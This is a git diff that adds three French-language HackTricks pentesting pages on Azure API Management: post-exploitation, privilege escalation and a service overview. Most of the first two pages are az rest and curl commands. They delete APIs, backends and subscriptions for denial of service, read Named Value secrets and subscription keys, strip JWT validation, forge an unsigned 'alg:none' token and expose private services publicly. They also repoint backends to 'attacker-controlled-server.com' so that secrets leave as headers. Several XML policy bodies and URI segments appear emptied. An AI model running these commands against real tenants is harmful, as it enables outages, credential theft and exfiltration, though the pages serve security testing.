diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..a22cbcaa8 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +L'attaquant peut utiliser plusieurs vecteurs pour provoquer un denial of service. Pour bloquer le trafic légitime, l'attaquant ajoute des politiques de rate-limiting et de quota avec des valeurs extrêmement faibles, empêchant ainsi l'accès normal : +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +Pour bloquer des adresses IP clients légitimes spécifiques, l'attaquant peut ajouter des politiques de filtrage IP qui rejettent les requêtes provenant des adresses sélectionnées : +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +Pour provoquer l'échec des requêtes, l'attaquant peut modifier la configuration d'un backend et changer son URL en une adresse invalide ou inaccessible : +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +Ou supprimer les backends: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +Pour rendre des APIs critiques indisponibles, l'attaquant peut les supprimer directement depuis le service API Management : +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` ou `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Pour bloquer l'accès depuis Internet, l'attaquant peut désactiver l'accès réseau public sur le service API Management : +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +Pour bloquer l'accès des utilisateurs légitimes, l'attaquant peut supprimer des abonnements API Management: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..e84465b7b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +L'attaque consiste à accéder aux secrets sensibles stockés dans Azure API Management Named Values, soit en récupérant directement les valeurs secrètes, soit en abusant des autorisations pour obtenir des secrets liés à Key Vault via des managed identities. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +Pour chaque abonnement, l'attaquant peut obtenir les clés d'abonnement en utilisant l'endpoint listSecrets avec la méthode POST : +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +La réponse inclut la clé primaire d'abonnement (primaryKey) et la clé secondaire (secondaryKey). Avec ces clés, l'attaquant peut s'authentifier et accéder aux APIs publiées via l'API Management Gateway: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +L'attaquant peut accéder à toutes les APIs et tous les produits associés à l'abonnement. Si l'abonnement a accès à des produits ou APIs sensibles, l'attaquant peut obtenir des informations confidentielles ou effectuer des opérations non autorisées. + +## `Microsoft.ApiManagement/service/policies/write` ou `Microsoft.ApiManagement/service/apis/policies/write` + +L'attaquant récupère d'abord la politique API actuelle : +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +L'attaquant peut modifier la politique de plusieurs manières selon ses objectifs. Par exemple, pour désactiver l'authentification, si la politique inclut la validation du token JWT, l'attaquant peut supprimer ou commenter cette section : +```xml + + + + + + + + + + + + + + + + +``` +Pour supprimer les contrôles de rate limiting et permettre des attaques de denial-of-service, l'attaquant peut supprimer ou commenter les politiques de quota et de rate-limit : +```xml + + + + + + +... + +``` +Pour modifier la route backend et rediriger le trafic vers un serveur contrôlé par l'attaquant : +```xml + +... + + + + +... + +``` +L'attaquant applique ensuite la politique modifiée. Le corps de la requête doit être un objet JSON contenant la politique au format XML : +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## Mauvaise configuration de la validation JWT + +L'attaquant doit savoir qu'une API utilise la validation des tokens JWT et que la politique est mal configurée. Des politiques de validation JWT mal configurées peuvent avoir `require-signed-tokens="false"` ou `require-expiration-time="false"`, ce qui permet au service d'accepter des tokens non signés ou des tokens qui n'expirent jamais. + +L'attaquant crée un JWT token malveillant en utilisant l'algorithme none (unsigned) : +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +L'attaquant envoie une requête à l'API en utilisant le jeton malveillant : +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +Si la politique est mal configurée avec `require-signed-tokens="false"`, le service acceptera le token non signé. L'attaquant peut aussi créer un token sans claim d'expiration si `require-expiration-time="false"`. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +L'attaquant vérifie d'abord la configuration réseau actuelle du service : +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +L'attaquant examine la réponse JSON pour vérifier les valeurs de `publicNetworkAccess` et `virtualNetworkType`. Si `publicNetworkAccess` est défini sur false ou `virtualNetworkType` est défini sur Internal, le service est configuré pour un accès privé. + +Pour exposer le service sur Internet, l'attaquant doit modifier les deux paramètres. Si le service fonctionne en mode interne (`virtualNetworkType: "Internal"`), l'attaquant le change en None ou External et active l'accès réseau public. Cela peut être fait en utilisant l'Azure Management API: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +Une fois que `virtualNetworkType` est défini sur `None` ou `External` et que `publicNetworkAccess` est activé, le service et toutes ses APIs deviennent accessibles depuis Internet, même s'ils étaient auparavant protégés derrière un réseau privé ou des private endpoints. + +## `Microsoft.ApiManagement/service/backends/write` +L'attaquant énumère d'abord les backends existants pour identifier lequel modifier : +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +L'attaquant récupère la configuration actuelle du backend qu'il souhaite modifier : +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +L'attaquant modifie l'URL du backend pour la faire pointer vers un serveur sous son contrôle. Il récupère d'abord l'ETag de la réponse précédente, puis met à jour le backend : +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +Alternativement, l'attaquant peut configurer des backend headers pour exfiltrer des Named Values contenant des secrets. Cela se fait via la configuration des backend credentials : +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +Avec cette configuration, les Named Values sont envoyés comme en-têtes dans toutes les requêtes vers le backend contrôlé par l'attaquant, permettant l'exfiltration de secrets sensibles. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..7004d7972 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,74 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Informations de base + +Azure API Management (APIM) est un service entièrement géré qui offre une **plate-forme unifiée pour publier, sécuriser, transformer, gérer et surveiller les APIs**. Il permet aux organisations de **centraliser leur stratégie API** et d'assurer une gouvernance, des performances et une sécurité cohérentes sur l'ensemble de leurs services. En agissant comme une couche d'abstraction entre les services backend et les consommateurs d'API, APIM simplifie l'intégration et améliore la maintenabilité tout en fournissant des capacités opérationnelles et de sécurité essentielles. + +## Concepts clés + +**The API Gateway** sert de point d'entrée unique pour tout le trafic API, gérant des fonctions telles que le routage des requêtes vers les services backend, l'application de limites de débit, la mise en cache des réponses et la gestion de l'authentification et de l'autorisation. Cette gateway est entièrement hébergée et gérée par Azure, garantissant une haute disponibilité et une grande évolutivité. + +**The Developer Portal** fournit un environnement en libre-service où les consommateurs d'API peuvent découvrir les APIs disponibles, lire la documentation et tester les endpoints. Il facilite l'onboarding en offrant des outils interactifs et l'accès aux informations d'abonnement. + +**The Management Portal (Management Plane)** est utilisé par les administrateurs pour configurer et maintenir le service APIM. Depuis cet espace, les utilisateurs peuvent définir des APIs et des opérations, configurer le contrôle d'accès, appliquer des policies, gérer les utilisateurs et organiser les APIs en produits. Ce portail centralise l'administration et assure une gouvernance API cohérente. + +## Authentification et autorisation + +Azure API Management prend en charge plusieurs **mécanismes d'authentification** pour sécuriser l'accès aux APIs. Ceux-ci incluent les **subscription keys**, les **tokens OAuth 2.0** et les **certificats client**. APIM s'intègre également nativement avec **Microsoft Entra ID**, permettant une **gestion des identités de niveau entreprise** et un **accès sécurisé** aux APIs et aux services backend. + +## Politiques + +Les policies dans APIM permettent aux administrateurs de personnaliser le **traitement des requêtes et des réponses** à différents niveaux de granularité, y compris au niveau du **service**, de l'**API**, de l'**opération** ou du **produit**. Grâce aux policies, il est possible d'appliquer la **validation de token JWT**, de **transformer des payloads XML ou JSON**, d'**appliquer des limites de débit**, de **restreindre les appels par adresse IP**, ou d'**authentifier contre des services backend en utilisant des managed identities**. Les policies sont **très flexibles** et constituent l'une des **forces principales** de la plateforme API Management, permettant un **contrôle fin du comportement d'exécution** sans modifier le code backend. + +## Named Values + +Le service fournit un mécanisme appelé **Named Values**, qui permet de stocker des **informations de configuration** telles que des **secrets**, des **API keys**, ou d'autres valeurs requises par les policies. + +Ces valeurs peuvent être stockées directement dans APIM ou référencées de manière sécurisée depuis **Azure Key Vault**. Named Values favorisent une **gestion sécurisée et centralisée** des données de configuration et simplifient la rédaction des policies en permettant des **références réutilisables** plutôt que des valeurs en dur. + +### Réseau et intégration de sécurité + +Azure API Management s'intègre parfaitement avec les environnements de **Virtual Network**, permettant une **connectivité privée et sécurisée** aux systèmes backend. + +Lorsqu'il est déployé dans un **Virtual Network (VNet)**, APIM peut accéder aux **services internes** sans les exposer publiquement. Le service permet également la configuration de **certificats personnalisés** pour supporter l'**authentification mutual TLS** avec les services backend, améliorant la sécurité dans les scénarios où une **validation d'identité forte** est requise. + +Ces **fonctionnalités réseau** rendent APIM adapté aux architectures **cloud-native** comme aux architectures **hybrides**. + +### Énumération + +Pour énumérer le service API Management : +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}